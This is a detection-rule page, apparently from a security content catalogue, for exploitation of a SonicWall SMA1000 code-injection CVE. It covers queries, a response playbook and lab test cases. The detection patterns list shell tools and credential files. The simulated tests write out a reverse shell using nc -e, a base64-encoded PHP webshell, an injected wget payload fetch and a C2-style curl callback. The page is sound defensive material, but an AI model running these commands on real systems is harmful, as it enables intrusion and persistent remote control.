CVE-2026-15410 Sumo Logic CSE · Sumo

Detect SonicWall SMA1000 Code Injection Exploitation (CVE-2026-15410) in Sumo Logic CSE

Detects exploitation attempts against SonicWall SMA1000 appliances leveraging an OS/code injection vulnerability (CWE-94) that allows an authenticated or unauthenticated remote attacker to execute arbitrary code on the appliance. This vulnerability is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and is subject to BOD 26-04 remediation timelines. Detection focuses on SMA1000 web management/AMC interface access, anomalous process spawning from SMA1000 web/application service accounts, and post-exploitation artifacts such as webshells, reverse shells, or configuration tampering.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=sonicwall/sma1000
| parse "url=\"*\"" as req_url
| where req_url matches "*cgi-bin*" or req_url matches "*appliance*" or req_url matches "*admin*" or req_url matches "*__api__*"
| where _raw matches "*;*" or _raw matches "*wget *" or _raw matches "*curl *" or _raw matches "*/bin/sh*" or _raw matches "*/bin/bash*" or _raw matches "*base64 -d*" or _raw matches "*nc -e*"
| count by src_ip, req_url
| sort -_count
critical severity medium confidence

Sumo Logic query surfacing SonicWall SMA1000 requests containing shell injection patterns to admin/CGI endpoints.

Data Sources

SonicWall SMA1000 syslog collector

Required Tables

sonicwall_sma1000_logs

False Positives & Tuning

  • Internal automation tools passing special characters in URL parameters
  • Approved security assessment traffic
  • Proxy rewrites introducing encoded shell characters

Other platforms for CVE-2026-15410

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulated Command Injection via SMA1000-style CGI Parameter

    Expected signal: HTTP access log entry on lab-target showing GET request to /cgi-bin/test with embedded 'wget' and ';' characters in the query string.

  2. Test 2Simulated Reverse Shell Spawn from Web Process

    Expected signal: Process creation event showing parent process (web server/cgi handler) spawning nc with '-e /bin/sh' command line and outbound connection to 127.0.0.1:4444.

  3. Test 3Simulated Webshell Drop via Base64-Decoded Payload

    Expected signal: Command execution log/process telemetry capturing 'base64 -d' piped to a file write in a web-accessible directory.

  4. Test 4Simulated Outbound C2 Callback from Appliance Host

    Expected signal: Network connection log/NetFlow record showing outbound HTTP request from the appliance/lab host to an external, non-standard IP and port.

Last updated: 2026-07-16 Research depth: standard
References (4)

Response Playbook

Triage

  1. Identify all internet-facing SonicWall SMA1000 appliances in the environment and confirm firmware version against the vendor advisory SNWLID-2026-0008 to determine exploitability.
  2. Search SMA1000 access and management logs for requests to CGI/admin/API endpoints containing shell metacharacters, encoded payloads, or unusual query strings within the last 30 days.
  3. Check for unexpected outbound connections from the SMA1000 appliance (e.g., to unfamiliar IPs) that may indicate a reverse shell or C2 callback established via successful code injection.
  4. Review appliance configuration change logs and local account lists for unauthorized modifications or newly created administrative accounts.
  5. Correlate SMA1000 alerts with any authentication anomalies (e.g., MFA bypass attempts, session token reuse) around the same timeframe.

Containment

  1. Apply the vendor-supplied firmware patch referenced in SNWLID-2026-0008 immediately, prioritizing per CISA BOD 26-04 remediation timelines given KEV status.
  2. If patching cannot occur immediately, restrict management interface access to a trusted allowlist of IPs via firewall ACLs and disable external/internet exposure of the admin and CGI endpoints.
  3. Isolate the affected appliance from the internal network segment while preserving logs, and rotate all credentials/certificates associated with the SMA1000 (local admin, LDAP/AD service accounts, API keys).

Evidence Collection

  1. Export SMA1000 system, access, and audit logs covering the suspected exploitation window, and preserve them in write-once storage prior to any remediation reboot.
  2. Capture a forensic image or configuration export of the appliance (if supported by vendor tooling) before applying patches or performing a factory reset, to preserve evidence of tampering or implanted webshells.
  3. Document all outbound network connections, new/modified files, and cron/scheduled task entries discovered on the appliance for the incident timeline.

Escalation Criteria

  • !Escalate to incident response leadership if evidence of successful code execution, persistence (new accounts, scheduled tasks, or modified binaries), or lateral movement from the SMA1000 appliance is confirmed.
  • !Escalate to executive/legal stakeholders if the SMA1000 appliance provides remote access to sensitive internal resources (e.g., serves as a VPN/SSL-VPN gateway) and evidence suggests attacker access to internal systems or data exfiltration.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >SMA1000 web server access logs showing anomalous CGI/admin requests with injected shell syntax
  • >Newly created or modified files/scripts in appliance web-accessible directories (webshells)
  • >Unexpected outbound network connections or DNS resolutions originating from the appliance
  • >New or modified local administrative accounts and SSH keys on the appliance

Tuning Guidance

Baseline normal administrative traffic patterns to the SMA1000 CGI/admin endpoints for your organization (e.g., scheduled backup scripts, monitoring integrations) and add exclusions for known-good source IPs or user agents. Expect a higher volume of false positives from vulnerability scanners; correlate hits with scanning schedules and suppress accordingly. Tighten the shell-metacharacter pattern list over time based on observed benign traffic to reduce noise while preserving detection of real exploitation attempts.

Hunting Queries

Broader retrospective hunt for reconnaissance or file-disclosure commands (e.g., attempts to read /etc/passwd) that often accompany code injection exploitation attempts, to catch payloads not matching the primary detection's metacharacter list.

Hunting — KQL
kql 
SMA1000_CL
| where TimeGenerated > ago(7d)
| where RawMessage has_any ("passwd","shadow","/etc/","id;","whoami")
| project TimeGenerated, SrcIpAddr, RawMessage
Hunting — SPL
spl 
index=sonicwall sourcetype=sonicwall:sma1000 earliest=-7d
| search _raw="*passwd*" OR _raw="*shadow*" OR _raw="*/etc/*" OR _raw="*whoami*"
| table _time src_ip _raw

Atomic Red Team Tests

Test 1 Simulated Command Injection via SMA1000-style CGI Parameter
linux

Simulates submission of a command-injection payload to a lab web endpoint mimicking the SMA1000 CGI structure to validate detection logic.

Command

bash 
curl -s "http://lab-target.local/cgi-bin/test?cmd=1;wget%20http://127.0.0.1:8080/payload.sh%20-O%20/tmp/p.sh"

Cleanup

bash 
rm -f /tmp/p.sh

Expected Telemetry

HTTP access log entry on lab-target showing GET request to /cgi-bin/test with embedded 'wget' and ';' characters in the query string.

Expected Detection

KQL/SPL rule fires on the shell metacharacter and wget pattern within the CGI request URL.

Test 2 Simulated Reverse Shell Spawn from Web Process
linux

Simulates a web server child process spawning a shell with a reverse-shell-style command line, mimicking post-exploitation behavior after code injection.

Command

bash 
bash -c 'nc -e /bin/sh 127.0.0.1 4444 &' ; sleep 2

Cleanup

bash 
pkill -f 'nc -e /bin/sh' || true

Expected Telemetry

Process creation event showing parent process (web server/cgi handler) spawning nc with '-e /bin/sh' command line and outbound connection to 127.0.0.1:4444.

Expected Detection

CrowdStrike CQL rule alerts on nc -e process execution chained from a web server parent process.

Test 3 Simulated Webshell Drop via Base64-Decoded Payload
linux

Simulates writing a webshell file to a web-accessible directory using a base64-decode command, representative of post-injection persistence.

Command

bash 
echo 'PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==' | base64 -d > /tmp/www/shell.php

Cleanup

bash 
rm -f /tmp/www/shell.php

Expected Telemetry

Command execution log/process telemetry capturing 'base64 -d' piped to a file write in a web-accessible directory.

Expected Detection

Elastic EQL and Chronicle YARA-L rules match on 'base64 -d' pattern within logged request/command content.

Test 4 Simulated Outbound C2 Callback from Appliance Host
linux

Simulates the compromised appliance establishing an outbound connection to an external IP, representative of C2 callback behavior post-exploitation.

Command

bash 
curl -s --max-time 3 http://198.51.100.10:8080/checkin || true

Cleanup

bash 
none required (no persistent artifact created)

Expected Telemetry

Network connection log/NetFlow record showing outbound HTTP request from the appliance/lab host to an external, non-standard IP and port.

Expected Detection

Network detection content or CrowdStrike NetworkConnectIP4-based rule flags anomalous outbound connection from the appliance host.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003Persistence

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1505Server Software Component

Same Tactic: Initial Access

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